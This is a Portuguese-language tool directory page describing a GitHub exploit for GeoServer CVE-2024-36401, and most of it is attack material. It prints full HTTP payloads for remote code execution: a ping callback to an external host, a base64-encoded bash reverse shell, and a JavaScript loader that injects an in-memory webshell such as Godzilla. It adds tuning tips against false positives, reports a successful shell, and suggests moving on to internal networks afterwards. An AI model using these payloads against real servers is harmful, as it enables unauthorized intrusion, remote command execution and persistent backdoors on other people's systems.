Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
geoserver- — geoserver CVE-2024-36401漏洞利用工具 | Kitploit
Ferramentas/GitHubGitHub/ahisec/geoserver-
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubahisec/geoserver-

geoserver-

geoserver CVE-2024-36401漏洞利用工具

Ver Repositório
468há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ferramenta de exploração da vulnerabilidade CVE-2024-36401 no GeoServer

geoserver CVE-2024-36401 Ambiente: JDK8 Aviso: Apenas para testes autorizados. O autor não se responsabiliza por quaisquer consequências decorrentes do uso indevido. Por favor, cumpra as leis e regulamentos!

1, Payload padrão:

POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>

Aqui preste atenção: <wfs:Query typeNames='sf:archsites'/>

Neste ponto, se você precisar usar expressões regulares para obter, este é um identificador básico do site sf:archsites. Você precisa primeiro obter as informações de

wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>, e então pode usar a concatenação.

Ao verificar a vulnerabilidade wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

Na verdade, nem é necessário consultar registros DNS

A lógica simples é verificar se existe uma classe de exceção anômala

Como java.lang.ClassCastException

Claro, isso é apenas a lógica de verificação.

Esta resposta é originalmente 400, é fácil cair aqui. Você precisa verificar a página de erro e depois procurar os dados.

Primeiro, você precisa fazer uma requisição para <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>

Esta informação representa que você pode obter o wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>

Em seguida, atribua diretamente ao texto e chame uma função para extrair as informações do texto e concatená-las no parâmetro <wfs:Query typeNames='sf:archsites'/>.

Isso tornará a lógica de verificação mais precisa. Escreva a classe de detecção assim.

Se você usar apenas <wfs:Query typeNames='sf:archsites'/> repetidamente, a probabilidade de erro é alta, e será informado que não foi possível encontrar sf:archsites.

Classe de reverse shell

Vamos ver o payload de reverse shell:

POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>

Observe aqui:

<wfs:Query typeNames='sf:archsites'/>

Da mesma forma, primeiro obtenha o valor com regex e depois concatene-o.

Em seguida, faça a requisição diretamente.

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx é o base64 codificado.

Ao programar, converta a entrada do usuário bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 para base64.

Em seguida, faça a requisição e, da mesma forma, procure pela classe de exceção chave para determinar a lógica.

Classe de injeção de webshell na memória

Aqui POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>

Aqui também tem <wfs:Query typeNames='sf:archsites'/>, como de costume, primeiro obtenha o valor.

Em star, cole o código base64 do seu webshell na memória gerado.

Em seguida, a lógica de verificação.

Pontos onde é fácil errar

  1. Uso repetido de <wfs:Query typeNames='sf:archsites'/> leva a 98% de falsos positivos, erro como:

https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<

Ponto de existência da vulnerabilidade: <ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>

Resumindo, a vulnerabilidade existe quando aparece java.lang.ClassCastException.

Falso positivo é: Could not locate {http://www.openplans.org/spearfish}archsites in catalog.

  1. Método de verificação: Capture o wfs:ReturnFeatureType> chamado, atribua-o ao texto - chame uma função, faça a requisição, concatene na requisição e verifique a exceção no retorno.

Na chamada da função de texto, é necessário atribuir o valor antecipadamente para evitar exceções de ponteiro nulo. Concatene antes da requisição e verifique a exceção no retorno; a verificação é feita dentro da exceção.

Por fim, implementamos esta ferramenta de exploração.

image

Vamos testar a vulnerabilidade.

Efeito de execução da ferramenta

image

image

Dica: Sem resposta é igual a vulnerabilidade não encontrada; quando a vulnerabilidade existe, aparecerá um sinal de +.

Encontrada vulnerabilidade, obtenha reverse shell, faça teste de conexão. Se funcionar, faça testes na rede interna.

Possíveis otimizações: adicionar webshell personalizado na memória, verificação em lote, etc.

image

Foi detectada a vulnerabilidade, obtido o endpoint, e o reverse shell foi bem-sucedido.

Agora vamos testar a injeção de webshell na memória.

image

Mostra que o webshell foi injetado com sucesso. Vamos conectar para verificar.

image

É possível conectar.

Dica: Ao testar webshell na memória, "This GeoServer instance is running version 2.15.2. For more information please contact the ..."

A injeção de webshell funcionou nesta versão.

Versões mais recentes podem falhar.

Outras versões testem por conta própria.

image

Adicionada funcionalidade de webshell personalizado na memória.

image

Histórico de atualizações

Adicionados testes de ls e ping.

Corrigido problema de injeção de webshell na memória.

Adicionado reconhecimento de Tomcat e Jetty.

O webshell Godzilla usa por padrão o ambiente Jetty para injeção.

Webshell personalizado pode escolher o ambiente Tomcat para teste.

Versão em lote ainda não foi publicada.

Baixar ferramenta